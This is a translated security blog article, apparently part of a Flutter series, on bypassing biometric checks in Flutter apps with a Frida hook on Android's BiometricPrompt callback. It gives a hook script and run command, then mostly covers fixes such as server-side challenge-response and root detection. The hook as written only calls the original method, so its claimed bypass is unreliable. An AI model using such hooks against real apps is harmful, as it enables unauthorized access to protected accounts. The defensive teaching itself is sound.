๐งฌ Part 2: Biometric Authentication Bypass in FlutterโโโHow Frida Can Fool Your Fingerprint Checks
FlutterPulseThis article was translated specially for the channel FlutterPulseYou'll find lots of interesting things related to Flutter on this channel. Don't hesitate to subscribe!๐

Biometric authentication feels bulletproof. Fingerprint scanned? โ Face detected? โ You're in.
๐ Check Previous Part [Offline Login Bypass in Flutter]
But what if I told you attackers can bypass biometric checks entirely, without ever touching the sensor?
In this article, we'll explore how Frida, a powerful dynamic instrumentation toolkit, can be used to trick Flutter apps into thinking the user passed biometric auth โ even when they didn't.

๐ง The Problem
Flutter apps that rely solely on biometric success responses from the device are vulnerable.
The logic usually looks like:
final isAuthenticated = await auth.authenticate(
localizedReason: 'Please authenticate to continue',
biometricOnly: true,
);
if (isAuthenticated) {
Navigator.push(context, MaterialPageRoute(builder: (_) => HomeScreen()));
}
No server check. No challenge-response. Just trust.
๐ฏ What's the Attack?
On rooted or emulated devices, attackers can:
- Hook into the Android BiometricPrompt API
- Override the callback
onAuthenticationSucceeded() - Trick the app into thinking the biometric check succeeded
This bypasses fingerprint/face verification completely.
๐ ๏ธ Exploitation Walkthrough
Requirements:
- Rooted Android device or emulator
- Frida + frida-server running
- Target Flutter app using biometric auth
- Java-based Frida hook
Step 1: Confirm the App Uses Biometric Auth
Look for packages like:
local_auth- Native Android bridge to
BiometricPrompt
You'll usually see an auth call like this:
await auth.authenticate(...);
Step 2: Hook the Biometric Callback via Frida
Use this script:
// biometric_bypass.js
Java.perform(function() {
console.log("[*] Biometric bypass script loaded");
var Callback = Java.use("android.hardware.biometrics.BiometricPrompt$AuthenticationCallback");
Callback.onAuthenticationSucceeded.implementation = function(result) {
console.log("[+] Hooked: Forcing success...");
this.onAuthenticationSucceeded(result); // call original, or simulate
};
});
Step 3: Run the Frida Hook
frida -U -n com.example.myapp -l biometric_bypass.js
Result: the app believes biometrics succeeded โ no fingerprint needed.
๐ Why This Works
- Flutter's
local_authplugin wraps native Android biometric APIs. - The actual check runs in Java via
BiometricPrompt. - Frida can intercept that native Java method and force it to return success.
- The Flutter app trusts the result without verifying it externally.
๐ Real-World Impact
Vulnerability Impact Biometric bypass Full access to locked features No PIN fallback No alternative challenge Offline access Works without internet Local-only trust Easy to fake on rooted devices
```
| Vulnerability | Impact |
|----------------------|---------------------------------------------|
| Biometric bypass | Full access to locked features |
| No PIN fallback | No alternative challenge |
| Offline access | Works without internet |
| Local-only trust | Easy to fake on rooted devices |
```
Risk Level: HIGH
๐ก๏ธ How to Fix It
โ Fix 1: Never Trust Local Biometrics Alone
Add backend validation after biometric success:
if (await auth.authenticate(...)) {
final token = await backend.getSecureToken();
if (token.isValid) {
// Continue to dashboard
} else {
// Show error
}
}Let the server validate a signed proof of biometric success (see next fix).
โ Fix 2: Use Keystore + Challenge-Response
Instead of just "auth passed," apps should:
- Request a nonce/challenge from server
- Sign it with Android Keystore (hardware-backed)
- Send signature to server for verification
This is how banking apps protect biometric auth.
โ Fix 3: Block Rooted or Frida-Attached Devices
Use root detection libraries:
import 'package:jailbreak_detection/jailbreak_detection.dart';
bool isRooted = await JailbreakDetection.jailbroken;
if (isRooted) exit(1);
Or detect Frida with native checks (or plugins like trust_fall).
โ Fix 4: Add Behavior-Based Anomaly Detection
Monitor suspicious patterns:
- Biometric passed too quickly
- Device fingerprint changed
- App running in emulator
- Repeated auth success without real attempts
These signals can be sent to your backend for further validation.
๐ซ Common Pitfalls
```
|---------------------------------------|--------------------------------|
| Bad Practice | Why It's Dangerous |
|---------------------------------------|--------------------------------|
| Relying on `auth.authenticate()` only | No backend check, fully local |
| Assuming biometrics = security | Easily hooked |
| No root or debugger detection | Leaves app wide open |
| No audit logs | No way to track abuse |
|---------------------------------------|--------------------------------|
```
โ Developer Checklist
- Always validate biometric success on backend
- Use challenge-response with signed tokens
- Detect rooted devices & Frida
- Avoid "unlock all" on local auth alone
- Rate-limit biometric attempts
๐ Up Next
๐ง Part 3: Debug Mode Exploits โ What Happens When You Ship a Dev Build to Production?
Learn how debuggable apps allow Frida, memory inspection, and full control over your code at runtime.
Thank you for reading this article
If I missed something or made an error, please let me know in the comments. I'm always eager to learn and improve.
Give a clap ๐ if you found this article helpful.